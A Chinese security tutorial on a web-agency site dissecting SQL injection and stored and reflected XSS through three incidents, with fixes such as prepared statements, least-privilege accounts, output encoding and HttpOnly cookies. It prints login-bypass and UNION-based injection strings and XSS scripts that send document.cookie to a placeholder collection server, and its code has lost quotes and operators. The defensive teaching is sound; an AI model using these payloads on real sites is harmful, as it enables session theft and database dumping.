尧图网络 高端网站定制 · 原创设计
免费咨询热线
400-888-6620
免费获取方案
SQL注入与XSS实战拆解:从攻击链到防御编码的完整指南
半夜两点收到告警短信说是某业务后台的登录接口出现大量异常请求。我打开日志一看一排排admin or 11和admin --整整齐齐就像有人在拿着字典挨个试。那会儿我就知道又有人盯上这个老项目的登录接口了。这类事情干得多了以后我越来越觉得所谓的黑客套路本质就是利用开发者偷懒留下的习惯——字符串拼接、不过滤输入、不转义输出。SQL注入和XSS恰好是这两类问题的典型代表。这篇就用我实际处理过的三个案例把这两种攻击从头到尾拆一遍看完你就能明白攻击者是怎么一步步套路你的网站也知道该从哪几个位置去堵。文章适合谁看写后端接口的同学、写前端页面的同学以及刚接触安全测试的新人。不需要你有很深的渗透基础只需要你写过代码、见过接口。我会把三个案例的完整链路都讲清楚包括当时攻击者发的包长什么样、为什么它能生效、以及我们最后是怎么修的。1. SQL注入为什么屡禁不止先看根子上的原因1.1 一个引号引发的数据库裸奔SQL注入的核心可以浓缩成一句话开发者把用户输入当成SQL代码执行了。正常情况下用户输入应该只是数据比如用户名、密码、商品ID它们应该被放进数据库查询的值的位置。但很多老代码喜欢用字符串拼接的方式组装SQL这就相当于把用户输入直接插进了命令本身。拿登录功能举个例子假设有这么一个查询SELECT * FROM users WHERE username admin AND password 123456开发者在代码里可能是这么拼的PHP写法$sql SELECT * FROM users WHERE username . $_POST[username] . AND password . $_POST[password] . ;如果我在用户名框里输入admin --注意那个单引号和注释符最终拼出来的SQL就变成了SELECT * FROM users WHERE username admin -- AND password 123456在MySQL里--后面一直到行尾都是注释数据库实际执行的是SELECT * FROM users WHERE username admin只要存在用户名为admin的账号这条查询就会被执行而且根本不校验密码。这是最原始的万能密码套路。为什么能成因为单引号闭合了SQL语句里的字符串而注释符把原来的其他条件全部闭嘴了。1.2 从开发者的惯性操作看漏洞成因你可能会问都2025年了还有人这么写说实话我在实际项目里见到的最多的并不是这种裸写拼接的而是框架里用了错误的查询方式。比如用Laravel或者ThinkPHP自带的查询构造器大部分情况是安全的但只要写了whereRaw、orderRaw或者为了实现某种灵活的排序、筛选直接把前端传过来的字段名拼进SQL漏洞就回来了。还有一个高频场景是导出功能。很多后台的导出Excel逻辑都是把筛选条件拼进一个原生SQL里因为选出来的字段特别多开发懒得用ORM慢慢写。这种地方用户输入一旦能被传到SQL里基本就是必炸。我总结下来SQL注入屡禁不止的原因有三个存量代码太多。老项目跑了好多年没人敢动核心查询逻辑怕改出性能问题或者业务异常。框架让很多人放松了警惕。觉得用了ORM就万事大吉结果在某个角落写了原生SQL还不自知。缺乏自动化检测。代码评审靠肉眼安全测试靠一年一次的外包扫描中间大量的时间窗口全是裸奔。理解了这个根子上的原因再去看下面的案例你会更容易跟上思路。2. 案例一后台登录接口被万能密码通关2.1 场景还原一个老管理后台的登录页当事人是某家公司的内部运营管理系统一个存在了七八年的PHP项目。后台登录页长得很朴素就一个用户名框、一个密码框、一个验证码。因为业务量不大一直没有专门的安全人员直到那次疑似被入侵才把日志翻出来。登录接口接到一个不寻常的请求用户名字段里传的内容是admin or 11 --。我当时看了一眼就大致定位了问题——这个项目的登录代码十有八九是字符串拼接。这是攻击者第一次试探如果服务端返回了登录成功的跳转他后面就会开始用union提取数据如果没成功他也会根据报错信息判断SQL语法错误类型继续调整。2.2 攻击者的完整试错过程这里把当时的攻击路径还原一下。第一步攻击者先发了一个正常的请求做基线第二步发一个单引号看数据库报不报错第三步用注释符和恒真条件。按时间线看是这样的步骤请求内容用户名部分预期观察结果基线探测admin正常返回密码错误报错探测admin如果返回SQL语法错误说明拼接漏洞存在恒真绕过admin or 11 --如果直接放行说明完全没过滤字段数探测admin order by 1 --到admin order by 10 --通过报错差异确定查询字段数量数据提取admin union select ... --拖出数据库的用户名密码哈希第三步成功之后攻击者已经能登录后台了。第四步开始他目的是确定SQL语句有几个字段因为union查询要求前后字段数一致多了少了都会报错。第五步就是经典的union注入拖库。2.3 这段代码到底丑在哪事后把登录代码拉出来看问题一目了然$res $db-query(SELECT * FROM admins WHERE username {$_POST[username]} AND password {$_POST[password]});丑点有两处第一用户输入直接拼SQL压根没走预处理第二密码居然直接明文比对。第二点意味着就算攻击者用union注入把密码字段拖出来拿到的也是明文密码连撞库破解的步骤都省了。我们的修复方案做了三层立即止损下线该后台强制所有管理员改密码开启两步验证。SQL全部改参数化把登录、查询、导出所有涉及用户输入的地方全部改成预处理语句禁止字符串拼接。日志监控对登录接口增加异常行为告警。比如连续多次出现SQL关键字直接封IP并通知安全负责人。参数化之后的代码长这样$stmt $db-prepare(SELECT * FROM admins WHERE username ? AND password ?); $stmt-execute([$_POST[username], hash(sha256, $_POST[password])]);这段代码看起来平平无奇但安全性完全不同用户输入只会被当作数据传给数据库数据库不会再把它解释成命令的一部分。预处理是防御SQL注入最有效的办法没有之一。3. 案例二一条商品链接背后的隐形数据通道3.1 场景一个URL参数引发的数据泄露第二个案例是某电商网站的旧版商品列表页。它的筛选逻辑是把分类ID放在URL里比如/list.php?cid5后端根据这个ID去查该分类下的商品。看起来人畜无害但问题还是出在拼接。攻击者在这个参数上做了手脚。他没有用普通数字而是发了这么一串/list.php?cid-1 union select 1,2,username,password from admin服务端收到cid后拼出来的SQL大致是SELECT id, name, price FROM products WHERE category_id -1 union select 1,2,username,password from admin前面的category_id -1查不到任何数据但union关键字把后面的查询结果合并进来了。如果页面把查询结果循环渲染出来输出到屏幕上就等于把admin表的用户名和密码直接打印到了页面上。这就是经典的union注入。3.2 为什么POST请求和框架也拦不住有人可能会觉得POST请求比GET安全。实际上攻击手法和请求方式没多大关系只要输入能到SQL语句里GET和POST都一样。还有人说我们用了XX框架自带防注入这话也只对了一半。框架默认防但whereRaw这类接口一旦出现防护就形同虚设。这个案例里最值得反思的不是攻击者用了多高级的技巧而是一个只读接口竟然能访问到admin表。这说明后端的数据库账号权限太大。普通的商品列表查询理论上只需要SELECT权限而且范围应该限定在products表。结果实际用的数据库账号是root能查全库。后来我们做的修复是把SQL语句全部参数化这个不多说。数据库账号最小化授权。前台查询只用只读账号且只授权给业务需要的表。对所有传入参数做类型校验。cid必须是纯数字写法很简单if (!ctype_digit($_GET[cid])) { exit(invalid parameter); }类型校验这招在对付数字型注入时便宜又好用因为数字型参数本来就不该有字母和特殊符号。3.3 从漏到补的完整链条攻击者这里利用的其实是三层失误叠加第一层SQL拼接让注入成为可能第二层查询结果的展示区域没有区分哪个字段来自用户数据于是union后面的admin表数据被当作普通商品数据渲染出来第三层数据库权限过大导致攻击者能查任意表。三层环环相扣。所以修的时候不能只堵一层而是每一层都要堵。这个思路在后面的XSS案例里同样适用。4. XSS的套路和SQL注入完全不同存储型XSS案例4.1 一个评论区里的神秘代码前面两个案例是SQL注入攻击目标是后端数据库。XSS则是一个完全不同的物种它攻击的是浏览器里的其他用户。第三个案例是一个带有用户评论功能的资讯站点。评论区可以输入昵称和留言内容提交后展示在页面上。一切看起来都很正常直到某天半夜有用户说我的账号好像被盗了。排查后发现罪魁祸首是一条评论。这条评论长这样script var img new Image(); img.src http://某收集服务器/steal?cookie document.cookie; /script因为评论区把用户提交的内容原样输出了没有任何过滤和转义任何访问这条评论页面的人浏览器都会执行这段脚本然后把自己当前的Cookie发送到攻击者的服务器。这就是存储型XSS恶意代码被存在了服务器上所有访问者都会被无差别攻击。SQL注入骗的是数据库XSS骗的是浏览器这个区别要先记住。4.2 从弹窗到Cookie劫持的升级路线很多人第一次接触XSS是在学习平台上弹了个alert窗口感觉像恶作剧。但实际上XSS能干的事情远比弹窗严重窃取Cookie拿到会话ID直接伪装成受害者登录。模拟操作以受害者身份发帖、转账、改密码。钓鱼在正常页面里插入伪造的登录框诱导用户输入账号密码。挖矿借助访问者的CPU算力跑加密货币脚本。攻击者并不需要针对某个特定网站开发一套复杂的漏洞利用框架。很多时候从注入一个脚本到拿到受害者的会话只需要十几分钟。评论区这个案例里攻击者压根没费什么功夫——他只是一段脚本提交上去然后蹲在收集服务器上看Cookie慢慢多起来。4.3 存储型、反射型、DOM型三种类型的核心差异这里补一张对比表方便后面理解。类型恶意代码存在位置触发时机典型场景存储型服务器数据库任意用户访问含恶意内容的页面评论区、个人签名、商品留言反射型客户端请求的URL中用户点击包含恶意参数的链接搜索框、页面跳转DOM型前端JavaScript变量中浏览器执行JS时动态修改页面前端路由、URL hash处理三种类型最终效果都一样——在受害者的浏览器里执行攻击者的脚本区别只是恶意代码从哪里来。评论区这个案例属于存储型因为它被存在了服务端。修复存储型XSS第一件事是把所有用户可输入的地方全部摸出来评论、昵称、签名、私信等一个都不能漏。然后统一做输入过滤和输出转义。输入过滤是指对script、iframe等危险标签做白名单拦截输出转义是把等字符转换成HTML实体让浏览器把它们当成纯文本而不是标签。PHP侧的输出可以这样处理echo htmlspecialchars($comment, ENT_QUOTES, UTF-8);这行代码能将script渲染成用户可见但不可执行的文本。同时给Cookie加上HttpOnly标记让JavaScript永远读不到Cookiesetcookie(session_id, $sessionId, [httponly true, secure true, samesite Lax]);HttpOnly这个属性是防XSS窃取会话的最后一道防线。即使攻击者成功注入脚本document.cookie也拿不到会话Cookie攻击链就被砍断了一大截。5. 案例三搜索框里的反向链接偷渡5.1 一个搜索框怎么变成了钓鱼开关第三个案例是个反射型XSS。某网站的搜索功能用户在搜索框输入关键字后页面会显示您搜索的是XXX。这个XXX被直接回显到了页面HTML里没有做任何转义。攻击者构造了一个恶意链接/search.php?keywordscriptdocument.locationhttp://某收集服务器/?document.cookie/script然后把链接伪装成正常URL发给受害者。受害者点击之后浏览器先请求目标网站目标网站把keyword参数的值原样输出到HTML里浏览器解析时发现这是一段脚本直接执行受害者的Cookie就被送到了指定服务器。这就是反射型XSS。它和存储型的区别是恶意代码没有存在目标网站的数据库里而是存在于URL链接中必须诱导受害者点那条特制链接才能触发。它更像一个一次性陷阱而不是存储型那样人人过路人人中招。5.2 如何确认是反射型XSS并做修复排查逻辑比想象中的简单。我在本地把搜索接口的响应打印出来看了一眼发现搜索关键词出现在了这段HTML里p您搜索的是strong【这里回显了关键词】/strong/p关键词是什么这里就原样拼什么。我输入img srcx onerroralert(1)页面执行弹窗基本就实锤了。攻击面很明确就是搜索回显这里缺少HTML上下文感知的编码。修复方法和存储型类似输出到HTML值的位置需要做HTML实体编码。不同的输出位置要用不同的编码方式如果输出到JavaScript字符串里要用\uXXXX这类JavaScript转义如果输出到HTML属性里要做属性转义。这个细节很多人会忽略——只做了HTML实体编码却没有按输出上下文区分结果在某些位置依然能绕过。5.3 数据回传的真相一个撑伞的比喻XSS数据回传的原理用个小比喻最好懂攻击者的脚本相当于你在公共场合撑开一把带摄像头的伞。受害者路过时看热闹伞上的摄像头就把受害者的脸拍下来传回给攻击者。XSS脚本想做的事就是撑开这么一把伞然后守株待兔。理解了这个逻辑你就能明白为什么XSS防御的核心不在于过滤用户输入里的脚本而在于让浏览器不把用户输入当脚本执行。过滤只是手段上下文安全的输出编码才是本质。后面我给那个搜索功能加了一个统一的输出转义函数并且上线前用自动化工具把全站所有渲染用户输入的地方扫了一遍。这类问题归根结底就是一句话用户输入默认不可信输出位置默认要编码。6. 修完三个漏洞之后我总结的防御思路6.1 输入侧能白名单就别黑名单很多人一开始做防护时习惯用黑名单比如把select、union、script、onerror这些关键字拉黑。这种做法看起来很爽但实际效果很有限。原因很简单黑名单永远追不上攻击者的变形技巧。SQL注入里的等价替换一堆11可以写成12 or 21注释符有--、#、/* */。XSS里的编码绕过更是花样百出script可以被HTML实体、URL编码、Unicode编码换着法子变形。你用黑名单拦了十个攻击者能变出第十一个。正确的方向是白名单思维数字参数就校验纯数字用类型判断或正则。枚举参数就校验必须在预设的集合里。文本参数不好完全限制但可以用长度上限加格式约束。输出侧统一交给转义函数不在输入侧做无谓的过滤以防过滤规则被绕过之后反而产生二次编码问题。6.2 输出侧输出编码的上下文决定安全XSS的修复之所以比SQL注入更容易出错是因为输出编码这四个字看起来很简单实际却非常依赖输出位置。同一个用户输入输出在HTML标签中间是一种编法输出在HTML属性里是另一种编法输出在script标签里又是第三种编法。很多被XSS二次绕过的地方都是因为开发者只调用了一次htmlspecialchars就把同一个值用在所有输出位置。比如把用户输入先做了HTML实体编码结果这个编码后的字符串又被拿去拼进了JavaScript代码攻击者可以利用实体编码与JavaScript解码之间的差异重新构造可执行代码。我的建议是把输出编码这件事下沉到模板层每个输出位置必须明确声明自己的上下文类型由框架帮我们选对编码规则。前端框架如果不做任何处理直接渲染v-html或dangerouslySetInnerHTML等同于把默认安全的防线亲手拆掉这类接口应该收进代码评审的红线清单。6.3 人的因素安全意识比技术更值钱三个案例看下来没有一个用的是多高明的手段全都是利用开发者偷懒留下的习惯。登录接口用字符串拼接是懒得写预处理语句商品查询给了数据库最高权限是懒得做最小授权评论区原样输出用户内容是没想到浏览器会把它当代码执行。技术方案再多如果开发者没有形成条件反射——用户输入不可信输出位置要编码——漏洞还是会换个马甲回来。后来我们团队做了一个很小的改进效果出奇好把OWASP Top 10的常见漏洞整理成两页纸的案例版检查清单挂在每次发版的checklist里。不用讲长篇大论把真实攻击截胡的案例摆出来开发者自然就理解了。安全测试上我建议每个项目至少能跑一遍自动化扫描器。SQL注入和XSS这两类漏洞自动化工具的检出率其实很高因为套路固定、特征明显。重点不是扫描器有没有而是扫描器跑出来的报告有没有人跟进。很多团队把扫描结果丢给开发就不管了然后下次上线又是同样的问题。最后说一个我在三个案例里反复验证过的经验去看日志比去看代码更能发现安全问题。很多漏洞不是被扫描器发现的而是运维人员在日志里看到了一串奇怪字符顺着排查追出来的。把主要接口的入参日志留全定期翻一翻你会发现攻击者的试探痕迹往往比想象中明显得多——那些 or 11 --的痕迹安静地躺在日志里等一个愿意翻开它的人。
RELATED

相关推荐

AI写论文实战:千笔AI写作全流程测评与避坑指南

AI写论文实战:千笔AI写作全流程测评与避坑指南

最近私信里被问得最多的一个词,就是“AI写论文”。打开任何学生聚集的社区,都能看到有人安利各种工具,其中“千笔AI写作”这个名字反复出现,评论区清一色的“收藏了”“真的好用”。我花了两周时间,拿真实选题跑了完整…

📅 2026/10/21 5:00:56
构建个人技能树:Python命令行工具设计与实现

构建个人技能树:Python命令行工具设计与实现

年初整理简历时,我发现一个特别尴尬的问题:简历上写了七八项技能,可真要我回答“你这项技能到底到了什么程度”“它依赖哪些前置知识”“下一步该补什么”,脑子里的答案全是“大概会一点”“用过一阵子”。这种模糊在面试里很容易…

📅 2026/10/21 5:00:56
Redis缓存穿透击穿雪崩实战:故障链路与有效方案

Redis缓存穿透击穿雪崩实战:故障链路与有效方案

Redis缓存穿透、缓存击穿、缓存雪崩,这三个词在我看来是后端面试的标配,也是线上事故的常客。我见过太多能把三者的定义倒背如流的人,但真到告警弹出的那一刻还是会认错问题——以为是穿透,查了半天发现是击穿;雪崩已经…

📅 2026/10/21 5:00:56
MORE NEWS

更多资讯

📰

感知与已有知识匹配:WSaiOS-SI结构智能中的知识激活机制

感知与已有知识匹配:WSaiOS-SI结构智能中的知识激活机制摘要本文系统论述WSaiOS-SI结构智能体系中“感知与已有知识匹配”的理论机制。感知信息经自主语义理解形成Element、Relation与Structure后,并不能直接成为新知识,而必须与已有Knowledg…

📰

ASP.NET项目中的JavaScript资源管理:依赖顺序与缓存指纹实战

接手过几个老旧的ASP.NET项目之后&#xff0c;我对一件事印象特别深&#xff1a;真正拖住开发节奏的&#xff0c;往往不是后端逻辑有多复杂&#xff0c;而是前端那堆越堆越乱的JavaScript文件。有的页面十几个<script>标签按时间顺序往下排&#xff0c;谁依赖谁根本说不清…

📰

C++深入探索内联函数inline与auto关键字的使用

前言 inline 与 auto 是 C 中语义变迁最大的两个关键字&#xff0c;而大多数教材仍停留在旧解释上。inline 在 C 时代是"建议编译器展开"的提示&#xff0c;在 C 里更重要的作用是链接属性&#xff1a;允许同一个函数定义出现在多个翻译单元中而不违反单一定义规则&a…

📰

科技法庭系统解决方案:音视频链路、语音转写与电子质证落地实践

简介&#xff1a;这份《科技法庭系统解决方案》PDF面向法院信息化建设者、系统集成商及司法技术从业者&#xff0c;围绕最高法2008至2014年发布的多项信息化规范&#xff0c;梳理科技法庭从组网架构到功能落地的完整设计思路&#xff0c;帮助解决高清庭审、数据安全存储、阳光司…

📰

基于YOLOv11的工业产线瑕疵检测实战:从数据采集到PLC联动剔除

产线质检大概是深度学习落地性价比最高的场景之一&#xff0c;但也是最容易翻车的场景。算法指标好看不算本事&#xff0c;能扛住现场光照变化、振动、油污、节拍压力还长期稳定&#xff0c;才是真本事。最近我把一套基于YOLOv11的瑕疵检测系统从数据采集一路做到产线联动剔除&…

📰

sentry_drift鸿蒙化适配:Flutter数据库级性能追踪

不是标题起得唬人&#xff0c;是这个问题确实绕不开。我最近在一个模拟的 Flutter 跨端项目里做性能治理&#xff0c;页面滑动掉帧、接口返回慢这些常规问题排查完之后&#xff0c;发现一个更隐蔽的瓶颈——数据库层面的慢查询。SQLite 操作本身可能只有几十毫秒&#xff0c;但…

TODAY

今日更新

THIS WEEK

本周精选

THIS MONTH

本月热门

读完文章,想聊聊您的网站?

告诉我们您的行业与需求,资深顾问一对一梳理方案与报价,全程免费。

📞 💬